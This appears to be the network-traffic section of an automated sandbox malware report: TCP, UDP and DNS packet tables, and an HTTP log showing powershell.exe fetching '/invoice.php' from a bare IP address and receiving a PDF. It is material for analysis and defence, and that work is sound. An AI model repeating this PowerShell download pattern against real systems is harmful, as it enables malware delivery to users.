Jan 10, 2025 21:23:57.483036995 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.483062983 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.483207941 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483226061 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483237028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483242989 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.483248949 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483262062 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483272076 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.483273983 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483285904 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483298063 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.483299017 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.483320951 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.483760118 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.514357090 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514369965 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514403105 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.514524937 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514533997 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514544964 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514558077 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514565945 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.514569998 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514586926 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514597893 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514605999 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.514611006 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.514627934 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.536587000 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551376104 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551403999 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551414967 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551430941 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551443100 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551454067 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551474094 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551474094 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551486969 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551501989 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551503897 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551515102 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551527023 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551538944 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551547050 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551552057 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551564932 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551583052 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551597118 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551599026 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551639080 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551712990 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551724911 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551738024 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551749945 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551760912 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551786900 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551796913 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551815033 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551826000 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551836967 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551846027 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.551851034 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.551867962 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.561614037 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.569937944 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.569957018 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.569969893 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.569992065 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570003986 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570004940 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570014954 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570025921 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570029974 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570043087 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570055962 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570055962 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570069075 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570075035 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570084095 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570092916 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570116043 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570121050 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570128918 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570142031 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570149899 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.570172071 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.570199013 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.571971893 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572042942 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572052956 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572071075 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572081089 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572086096 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572099924 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572107077 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572112083 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572139978 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572195053 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572216988 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572228909 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572230101 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572242022 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572253942 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572263956 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572268009 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572283030 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572403908 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572416067 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572428942 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572439909 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572448015 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572453022 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572467089 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572475910 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572479963 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572494030 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572496891 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572506905 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572516918 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572519064 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572530985 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572546005 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572556973 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572577953 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572581053 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572591066 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572602034 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572611094 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572614908 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572627068 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572639942 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572639942 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572653055 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572659969 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572698116 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572715044 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572725058 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572736979 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572748899 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572757006 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572768927 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572782993 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572787046 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572819948 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572820902 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572834015 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572849035 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572866917 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572913885 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572926044 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572940111 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572957039 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572957993 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572972059 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.572983980 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.572983980 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573014021 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573100090 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573111057 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573122978 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573132038 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573158026 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573159933 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573179960 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573191881 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573203087 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573210955 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573215008 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573230982 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573412895 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573424101 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573436975 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573448896 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573455095 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573463917 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573474884 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573482990 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573488951 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573501110 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573503971 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573513985 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573522091 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573525906 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573546886 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573548079 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573556900 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573570013 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573577881 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573585033 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573596954 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573626995 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573628902 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573648930 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573652029 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573662043 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573682070 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573790073 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573801994 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573813915 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573823929 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.573827028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.573843956 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.575630903 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.605038881 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605052948 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605063915 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605074883 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605087996 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605094910 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605101109 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605110884 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.605146885 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.605199099 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.641915083 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.641942024 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.641963005 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.641974926 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.641989946 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642003059 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642019033 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642030954 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642050028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642050028 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642071962 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642087936 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642093897 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642096996 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642107010 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642119884 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642132998 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642139912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642153025 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642164946 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642164946 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642184973 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642286062 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642297029 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642313004 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642324924 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642342091 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642355919 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642360926 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642373085 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642384052 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642395973 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.642400980 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.642447948 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660356998 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660387993 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660398960 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660420895 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660433054 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660439014 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660444975 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660459042 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660473108 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660479069 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660495043 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660495996 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660515070 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660526991 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660535097 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660541058 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660554886 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660561085 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660573959 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660587072 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660592079 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660600901 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660609961 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.660619020 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.660641909 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.662518024 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.662528992 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.662539959 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.662554979 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.662575006 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.662602901 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.711359978 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.973737001 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:58.447691917 CET	49740	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:58.452575922 CET	8888	49740	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:58.452734947 CET	49740	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:58.453042030 CET	49740	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:58.457798958 CET	8888	49740	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:59.270507097 CET	8888	49740	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:59.315746069 CET	49740	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:59.573853016 CET	49740	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:24:22.777725935 CET	60089	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:24:22.782639980 CET	53	60089	162.159.36.2	192.168.2.5
Jan 10, 2025 21:24:22.782756090 CET	60089	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:24:22.787602901 CET	53	60089	162.159.36.2	192.168.2.5
Jan 10, 2025 21:24:23.228060007 CET	60089	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:24:23.249449015 CET	53	60089	162.159.36.2	192.168.2.5
Jan 10, 2025 21:24:23.249531031 CET	60089	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:24:06.650394917 CET	59249	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:24:22.777139902 CET	53	61865	162.159.36.2	192.168.2.5
Jan 10, 2025 21:24:23.243505955 CET	58763	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:24:23.250868082 CET	53	58763	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:24:06.650394917 CET	192.168.2.5	1.1.1.1	0x541a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:24:23.243505955 CET	192.168.2.5	1.1.1.1	0xdfe9	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:24:06.657598972 CET	1.1.1.1	192.168.2.5	0x541a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:24:23.250868082 CET	1.1.1.1	192.168.2.5	0xdfe9	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49726	193.143.1.205	80	5800	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:23:56.082910061 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:23:56.882038116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:23:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 